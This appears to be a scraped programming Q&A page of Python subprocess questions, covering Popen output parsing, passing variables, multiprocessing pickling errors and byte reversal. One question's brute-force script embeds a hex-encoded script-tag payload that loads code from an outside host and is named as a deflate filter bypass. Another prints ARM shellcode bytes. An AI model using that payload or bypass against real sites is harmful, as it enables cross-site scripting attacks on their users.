Convert popen output to list, and perform action - python

def calc_execution():
import subprocess
get_pid_detectmotion = "pgrep -f detectmotion.py"
pidcmd = subprocess.Popen(get_pid_detectmotion.split(), stdout=subprocess.PIPE)
pidcmd, error = pidcmd.communicate()
#print pidcmd
#detectmotion_file_pid = int(out.rstrip())
get_length_pid_running="ps -o etime= -p" + pidcmd
length_pid_detectmotion_running = subprocess.Popen(get_length_pid_running.split())#, int(pidcmd))
print length_pid_detectmotion_running
print list(length_pid_detectmotion_running)
Outputs:
TypeError: 'Popen' object is not iterable
23:15:59
How can I convert the output of length_pid_detectmotion_running to a list, then get the closest value to the left, if there are (3). For example: 23:15:59 I want to print out 23 within a list like length_pid_detectmotion_running[0]

Popen is useful when you want to perform some parallel tasks, like controlled/modified printing line by line while program is running, expect output
Popen is a structure, and not directly iterable. To get the list of lines of the process' standard output, you should convert length_pid_detectmotion_running.stdout to list instead.
But in your case you should just use check_output and split:
output = subprocess.check_output(get_length_pid_running.split())
toks = output.split(":")
first element of toks should be your 23

Related

Print out a specific part of the output result in python

I have a function that does some thing and displays a line of output mixed between integer and strings.
However, I just want to print out the last part of the output which is the number 5 that comes after the dots:
The number 5 is the value of the OID and it could be 5( as On)
Or 6(as OFF).
Is there any way how can I specify that in print or if condition?
Here is the function:
import subprocess, sys
p = subprocess.Popen(["powershell.exe",
"snmpwalk -v1 -c public 192.168.178.213 .1.3.6.1.4.1.9986.3.22.1.6.1.1.15"],
stdout=sys.stdout)
p.communicate()

TypeError: cannot pickle '_io.TextIOWrapper' object and EOFError: Ran out of input when calling a function using multiprocessing.Process

Here is my script I tried to brute force a hex value that when inflated it does not shows an error (getting an inflated value of a hex ) by prepending and appending hex came from a .txt file where a python list is saved using np.memmap.
.txt file contains a hex string with this format.
['0x9','0x88'] # the first value is the prepend and the last the append
The script continues to guess the correct hex value using for loop and stops if the script gets the correct combination.
I am using multiprocessing.Process to partition the .txt file by slicing a list
p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt)
where the second and third args are the start and end of the partition.
running the script I got
TypeError: cannot pickle '_io.TextIOWrapper' object and EOFError: Ran out of input
#!/usr/bin/env python3
from multiprocessing import Pool
from time import perf_counter
import subprocess
import re
import time
import pickle
import numpy as np
import multiprocessing as mp
def bruteForce(thelistTocheck,start,end,txtlog,payloadAttempts,foundtxt):
for combi in thelistTocheck[start:end]:
payloadDeflateBypass = '3c534352495054205352433d2f2f4242502e50483e3c2f5343524950543e'
payloadDeflateBypasswithPermutation = payloadDeflateBypass.join(combi)
#lock should be here
payloadAttempts.append(payloadDeflateBypasswithPermutation)
command = ['php', '-r', 'echo bin2hex(gzinflate(hex2bin("' + payloadDeflateBypasswithPermutation + '")));']
result = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, errors = result.communicate()
result.wait()
print(errors.decode('utf8'))
if (re.search('^PHP', errors.decode('utf8'))):
print('not found') # still looping
#!!!!!!!!!!! lock
print(payloadAttempts[-1])#!!!!!!!!!!! lock
txtlog.write(str(time.time()) + ':FAILED!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
# log all attempts and save into a txt file#error message
# the tried hex value saved # permutationWithPayloadCombined variable
# timestamp
else:
print('stop the loop, search found')
print('the inflated hex value: ')
print(payloadDeflateBypasswithPermutation)
print('The hex you should use: ')
print(result)
# save as well
# timestamp
#!!!!!!!!!!! lock
foundtxt.write(str(time.time()) + ':FOUND!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
break
if __name__=='__main__':
start = perf_counter()
newfp = np.memmap('fdsdf18268p1jdDd.txt', dtype='U20', mode='r', shape=(9901, 2))
originalLengthOFtheList=len(newfp[1:])
logFile = "log/" + str(time.time()) + '.txt'
txtlog=open(logFile,'a')
foundtxt=open('log/found.txt','a')
payloadAttempts = []
#partition=
p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt))
#p4=mp.process(target=bruteForce, args=(newfp, 1, originalLengthOFtheList, txtlog, payloadAttempts, foundtxt))
p1.start()
p2.start()
p3.start()
#.start()
p1.join()
p2.join()
p3.join()
print(f'Total time: {perf_counter() - start:.4f}s')
# use lock for logs
# pass all list combination in the arguments
Had a very similar problem on OSX (Mac). Ours was solved by setting the start method for multiprocessing to "fork" instead of the standard "spawn" (on OSX).
mp.set_start_method("fork")
Considered unsafe, though:
"Changed in version 3.8: On macOS, the spawn start method is now the default. The fork start method should be considered unsafe as it can lead to crashes of the subprocess. See bpo-33725."
https://docs.python.org/3.9/library/multiprocessing.html

passing a variable to a subprocess [duplicate]

This question already has answers here:
Why does passing variables to subprocess.Popen not work despite passing a list of arguments?
(5 answers)
Closed 1 year ago.
I was wondering how I can pass a python variable to subprocess.check_output command.
In this particular case I have lower and upper python variables to be passed to the subprocess.check_output command, but I'm certain the way I have done it below isn't correct because it's not giving me the expected result.
If I input the values for the lower and upper bound values manually it does work.
for qq in range (0, 5, 1):
lo = glob.glob(path2 + "IM" + path1 + "*_GM.nii.gz")
lo = ' '.join(lo)
lower = qq - 0.5
upper = qq + 0.5
subprocess.check_output(['fslstats {} -l lower -u upper -V | cut -d " " -f 1'.format(lo)], shell=True)
Any suggestions how I can pass the lower and upper variables?
Note:
lo= /Users/say/Documents/awIM/network5/awfc_GM.nii.gz
path2=/Users/say/Documents/aw
path1=/network5/awfc
Thanks
Posted Community Wiki because this is a question already asked and answered elsewhere in the knowledgebase.
Doing this correctly (but for the removal of the cut in favor of native-Python string manipulation) might look something like:
glob_str = path2 + "IM" + path1 + "*_GM.nii.gz"
glob_list = glob.glob(glob_str)
if len(glob_list) == 0:
raise Exception("No results found from glob expression %r" % glob_str)
for qq in range (0, 5, 1):
lower = qq - 0.5
upper = qq + 0.5
args = ['fslstats'] + glob_list + [ '-l', str(lower), '-u', str(upper), '-V' ]
### EVERYTHING BELOW HERE IS UNNECESSARILY COMPLICATED BY THE USE OF 'cut'
### CONSIDER REPLACING WITH THE ALTERNATE IMPLEMENTATION BELOW.
p1 = subprocess.Popen(args, stdout=subprocess.PIPE)
p1.stdout.close()
p2 = subprocess.Popen(['cut', '-d', ' ', '-f1'], stdin=p1.stdout)
(stdout, _) = p2.communicate()
if p1.wait() != 0:
raise Exception("fslstats run as %r returned exit status %r" % (args, p1.returncode))
print("Result is: %r" % (stdout.split("\n"),))
To remove cut, you might change everything below the line assigning args as follows:
stdout = subprocess.check_output(args)
first_column = [ line.split()[0] for line in stdout.split('\n') ]
print("Result is: %r" % first_column)
Note:
We're not using shell=True. Keeping this disabled makes for an implementation where you have more control -- a shell isn't doing things behind your back, and you don't need to know how that shell works and how it's implemented to avoid (potentially security-impacting) bugs.
To implement a pipeline without shell=True, we're following the practices documented at https://docs.python.org/2/library/subprocess.html#replacing-shell-pipeline
We're actually passing the values of the lower and upper variables, instead of passing the command lower and upper strings.
We're not joining our glob results into a string (which would break our command if any filenames resulting from that glob contained spaces), but are instead passing the list directly on the argument list for fslstats.
Because you care about the exit status of fslstats, not cut, you need to check that yourself. (Even with shell=True, you get default shell behavior, which returns only the exit status of the last pipeline component).

Reversing a byte string in Python

I find out the following code in python:
def ExtractShellcodeArm(_arg_name):
ObjDumpOutput(_arg_name)
print("\033[101m\033[1mExtracted Shellcode:\033[0m\n")
proc = subprocess.Popen(['objdump','-d',_arg_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
line = proc.stdout.readline()
if line != b'':
array = line.decode().rstrip().split(':')
if len(array) > 1:
if array[1]:
array2 = array[1].split(' ')
array2 = array2[0].lstrip().rstrip()
if array2:
sc_part = '\t"'
sc_part += '\\x'
sc_part += '\\x'.join(a+b for a,b in zip(array2[::2], array2[1::2]))
sc_part += '"+'
print(sc_part)
else:
break
After I run this code in python3 it gives me the result of the objdump tools like the following:
"\xe2\x8f\x60\x01"+
"\xe1\x2f\xff\x16"+
"\x22\x0c"+
"\x46\x79"+
"\x31\x0e"+
"\x20\x01"+
"\x27\x04"+
"\xdf\x01"+
"\x1b\x24"+
"\x1c\x20"+
"\x27\x01"+
"\xdf\x01"+
"\x6c\x6c\x65\x48"+
"\x6f\x57\x20\x6f"+
"\x0a\x64\x6c\x72"+
But I want it shows the result in the big endian format. How can I change this represantion in python function. for example I want this code shows the result like the following:
"\x01\x60\x8f\xe2"+
"\x16\xff\x2f\xe1"+
"\x0c\x22"+
"\x79\x46"+
...
It's not the prettiest code, but this works:
''.join(a+b for a, b in zip(s[::-2], s[-2::-2]))
You should store each complete opcode (set of bytes) as an element in a list when you parse them, and then iterate over the list, flipping the bytes in the opcode one at a time. For example, rather than opcodes "\xcd\x80" + "\xeb\xfe" use opcodes = ["\xcd\x80", "\xeb\xfe". You should have no problem iterating over the list and reversing each opcode.
Another option is using shell utilities to reverse the bytes before they are received by Python by piping the objdump command to tools like sed and awk to do this by splitting up the bytes on each line into columns and then printing the columns backwards.

Python-Raspberry pi: get int from popen result

I'm using python on raspberry py.
I'm trying to read values ​​from a i2c accelerometer using an external application (Hipi).
To do this I used the Popen function in this way:
Xprev=Popen(['hipi-i2c', "r", "1", "0x1D", "0x01"]) # read X value
The result is a single value (for example 100).
If I try to print the result from python or execute the same command from the command line it works.
I need to add this value to another to perform a comparison and see if the accelerometer is moving, but if I do a sum like
S=10 # Threshold
Xpt=Xprev + S # Xprev from previous read
Xnt=Xprev - S # Xprev from previous read
the result of sum is: unsupported operand type (s) for +: 'Popen' and 'int'
from subprocess import Popen, PIPE
cmdline = ['hipi-i2c', 'r', '1', '0x1D', '0x01']
result = Popen(
cmdline
, stdin=PIPE
, stdout=PIPE
, stderr=PIPE
)
output = result.stdout.readlines()
try:
X = int(output[0])
except:
pass
print X

Categories